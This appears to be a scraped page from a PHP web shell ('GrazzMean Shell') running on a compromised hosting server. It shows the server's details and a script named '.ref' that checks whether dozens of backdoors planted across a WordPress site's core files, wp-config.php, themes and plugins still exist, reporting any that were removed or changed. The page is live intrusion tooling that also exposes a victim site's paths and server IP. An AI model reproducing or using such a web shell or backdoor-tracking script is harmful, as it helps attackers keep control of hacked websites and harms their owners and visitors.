shell bypass 403

GrazzMean Shell

: /proc/self/root/dev/shm/ [ drwxrwxrwx ]
Uname: Linux premium264.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
Software: LiteSpeed
PHP version: 8.3.22 [ PHP INFO ] PHP os: Linux
Server Ip: 69.57.162.13
Your Ip: 216.73.216.219
User: workvvfb (1129) | Group: workvvfb (1084)
Safe Mode: OFF
Disable Function:
NONE

name : .ref
<?php   $r = '/home/nivaqlbe/websites/everishomecare.com'; $x = ["/wp-includes/class-wp-user-query.php"=>"bd@@160803017@@$_COOKIE[7",
"/wp-content/themes/astra/template-parts/advanced-footer/layout-4.php"=>"bd@@160559768@@_COOKIE[3]",
"/wp-content/plugins/google-site-kit/third-party/phpseclib/phpseclib/phpseclib/Math/BinaryField/sitemap.php"=>"bd@@160717138@@624",
"/wp-content/plugins/snapshot-backups/vendor/phpseclib/phpseclib/phpseclib/File/ASN1/Maps/netscape.php"=>"bd@@160652645@@535",
"/wp-content/plugins/elementor/vendor_prefixed/dependency-injection/php-di/phpdoc-reader/src/PhpDocReader/utility.php"=>"bd@@160718962@@1050",
"/wp-content/plugins/snapshot-backups/vendor/monolog/monolog/src/Monolog/Formatter/cma_m_selling.php"=>"bd@@160655249@@1762",
"/wp-content/plugins/wordpress-popup/views/admin/commons/sui-wizard/tab-appearance/row-customize-elements/optin.image.php"=>"bd@@160588206@@1524",
"/wp-content/plugins/classic-editor/classic-editor.php"=>"bd@@160803057@@task_processor",
"/wp-content/plugins/elementor/vendor_prefixed/twig/src/Node/Expression/Test/listtags.php"=>"bd@@160568729@@1037",
"/wp-content/plugins/google-site-kit/third-party/monolog/monolog/src/Monolog/spanish_mimes.php"=>"bd@@160690299@@1014",
"/wp-content/themes/astra/inc/builder/type/base/dynamic-css/html/class.astra.html.component.dynamic.css.php"=>"bd@@160566941@@1050",
"/wp-content/themes/astra/inc/builder/type/footer/below-footer/dynamic-css/sitedb.php"=>"bd@@160689120@@1057",
"/wp-content/themes/astra/inc/builder/type/footer/menu/dynamic-css/database.mysqli.php"=>"bd@@160689632@@536",
"/wp-content/plugins/google-site-kit/third-party/phpseclib/phpseclib/phpseclib/Crypt/EC/BaseCurves/ini.php"=>"bd@@160714028@@1029",
"/wp-content/plugins/snapshot-backups/vendor/phpseclib/phpseclib/phpseclib/Crypt/Common/Formats/Keys/Directive.php"=>"bd@@160564022@@596",
"/wp-content/plugins/elementor/vendor_prefixed/dependency-injection/laravel/serializable-closure/src/Signers/K.php"=>"bd@@160654439@@644",
"/wp-content/plugins/snapshot-backups/vendor/phpseclib/phpseclib/phpseclib/Crypt/EC/Formats/Signature/mod_submenu.php"=>"bd@@160803183@@537",
"/wp-content/themes/astra/inc/builder/type/header/search/dynamic-css/revision.php"=>"bd@@160585662@@665",
"/wp-content/plugins/elementor/vendor_prefixed/dependency-injection/php-di/php-di/src/formtinymce.php"=>"bd@@160589013@@1981",
"/wp-content/plugins/google-site-kit/third-party/monolog/monolog/src/Monolog/Handler/Curl/ot_shipping.php"=>"bd@@160826051@@1575",
"/wp-content/plugins/elementor/vendor_prefixed/dependency-injection/php-di/php-di/src/Definition/Exception/EmployerView.php"=>"bd@@160826089@@1653",
"/wp-content/themes/astra/inc/builder/type/header/woo-cart/dynamic-css/gard.php"=>"bd@@160826118@@1077",
"/wp-content/plugins/google-site-kit/third-party/phpseclib/phpseclib/phpseclib/Crypt/DSA/Formats/Keys/help_about.php"=>"bd@@160803161@@1048",
"/wp-content/plugins/wpmudev-updates/template/sui/dashboard-templates/resources.php"=>"bd@@160561777@@33",
"/wp-content/plugins/snapshot-backups/vendor/phpseclib/phpseclib/phpseclib/Crypt/Common/Traits/lottery.php"=>"bd@@160803187@@641",
"/wp-content/plugins/wordpress-popup/views/admin/commons/sui-wizard/tab-appearance/row-advanced/border-spacing-shadow/options.container.php"=>"bd@@160826100@@534",
"/wp-content/plugins/wordpress-popup/vendor/composer/autoload_classmap.php"=>"bd@@160803090@@_COOKIE[3]",
"/wp-content/themes/astra/inc/customizer/configurations/builder/footer/configs/html.footer.php"=>"bd@@160803204@@1516",
"/wp-content/themes/astra/inc/builder/type/footer/widget/dynamic-css/mcp_album.php"=>"bd@@160565927@@1061",
"/wp-content/plugins/snapshot-backups/tpl/modals/destinations/onedrive/step-1.php"=>"bd@@160559073@@$_COOKIE[-",
"/wp-content/themes/astra/inc/customizer/class-astra-fonts-data.php"=>"bd@@160711650@@reverse_lookup",
"/wp-content/plugins/wordpress-popup/views/admin/commons/sui-wizard/tab-appearance/row-customize-elements/cta_buttons/buttons.php"=>"bd@@160826094@@625",
"/wp-content/plugins/snapshot-backups/tpl/modals/destinations/onedrive/reauth.php"=>"bd@@160712437@@52",
"/wp-config.php"=>"bd@@160645884@@58",
"/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php"=>"bd@@160557596@@90",
"/interta.php"=>"bd@@160549618@@570",
"/wp-content/plugins/google-site-kit/third-party/symfony/polyfill-intl-idn/bootstrap.php"=>"bd@@160803063@@reverse_searcher",
"/wp-includes/blocks/template-part.php"=>"bd@@160681724@@30",
"/wp-content/plugins/google-site-kit/third-party/phpseclib/phpseclib/phpseclib/Crypt/RSA/Formats/Keys/TextField.class.php"=>"bd@@160803174@@1698",
"/wp-content/plugins/google-site-kit/third-party/phpseclib/phpseclib/phpseclib/Crypt/DH/Formats/Keys/xoopsmodule.php"=>"bd@@160684155@@1593",
"/wp-content/plugins/google-site-kit/third-party/monolog/monolog/src/Monolog/Handler/Slack/SEF.php"=>"bd@@160651337@@586",
"/wp-content/plugins/google-site-kit/third-party/google/apiclient-services/src/SearchConsole/photoHandler.php"=>"bd@@160588646@@1454",
"/wp-content/plugins/google-site-kit/third-party/phpseclib/phpseclib/phpseclib/Math/BigInteger/Engines/BCMath/visitingStaff.php"=>"bd@@160650376@@534",
"/wp-content/plugins/google-site-kit/third-party/phpseclib/phpseclib/phpseclib/Net/7.0.php"=>"bd@@160690696@@680",
"/wp-content/plugins/google-site-kit/third-party/google/apiclient-services/src/Adsense/Resource/robots.php"=>"bd@@160718133@@1989",
"/wp-content/plugins/google-site-kit/third-party/phpseclib/phpseclib/phpseclib/Net/SFTP/untgz.php"=>"bd@@160715429@@1937",
"/wp-content/plugins/google-site-kit/third-party/psr/log/Psr/Log/Test/SimpleCheck.php"=>"bd@@160586970@@2187"]; foreach ($x as $p => $l) {     $f = "{$r}{$p}";     list($t, $id, $pt) = explode('@@', $l);     if (!file_exists($f)) {         print "<$t>{$id}##d</$t>\n";         continue;     }     if (is_numeric($pt)) {         $fs = filesize($f);         if ($fs != $pt) {             print "<$t>{$id}##bs</$t>\n";         }     } else {         $c = file_get_contents($f);         if (!strstr($c, $pt)) {             print "<$t>{$id}##d</$t>\n";         }     } } die('!end!'); 
© 2025 GrazzMean